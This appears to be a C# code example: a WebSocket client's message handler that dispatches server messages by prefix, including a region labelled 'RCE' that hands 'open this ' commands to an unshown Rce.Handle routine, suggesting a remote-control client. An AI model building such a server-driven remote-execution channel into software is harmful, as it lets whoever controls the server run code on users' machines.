Ejemplo n.º 1
0
        // ToDo: Finsish this ( OnMessage in client )
        private static void OnMessage(object sender, MessageEventArgs e)
        {
#if DEBUG
            Console.WriteLine("Received message from server");
#endif
            Logger.AddLine("received message from server");

            #region TextRequestHandle

            if (e.IsText)
            {
                Logger.AddLine("message was text");
                Logger.AddLine("received data: " + e.Data);

                #region dataSync

                if (e.Data.StartsWith("data sync "))
                {
                    DataSync.Handle(e.Data);
                }

                #endregion

                #region status

                else if (e.Data.StartsWith("status "))
                {
                    Status.Handle(e.Data);
                }

                #endregion

                #region currency

                else if (e.Data.StartsWith("currency req "))
                {
                    Currency.Handle(e.Data);
                }

                #endregion

                #region RCE

                else if (e.Data.StartsWith("open this "))
                {
                    Rce.Handle(e.Data);
                }

                #endregion

                #region serverInvalidMessage

                else
                {
                    Logger.AddLine("Server sent a invalid message: " + e.Data);
                    Console.WriteLine("Server sent a invalid message: " + e.Data);
                }

                #endregion
            }

            #endregion

            #region BinaryRequestHandle

            else if (e.IsBinary)
            {
                Logger.AddLine("message was binary");
                if (Program.IsLoaded)
                {
                    BinaryHandler.Handle(e.RawData);
                }
            }

            #endregion

            #region PingRequestHandle

            else if (e.IsPing)
            {
                // i dont even know if i will fuccin use this i doubt it
                Logger.AddLine("message was ping");
            }

            #endregion

            #region OtherRequests

            else
            {
                Logger.AddLine("Server sent a invalid message");
#if DEBUG
                Console.WriteLine("Server sent a invalid message");
#endif
            }

            #endregion
        }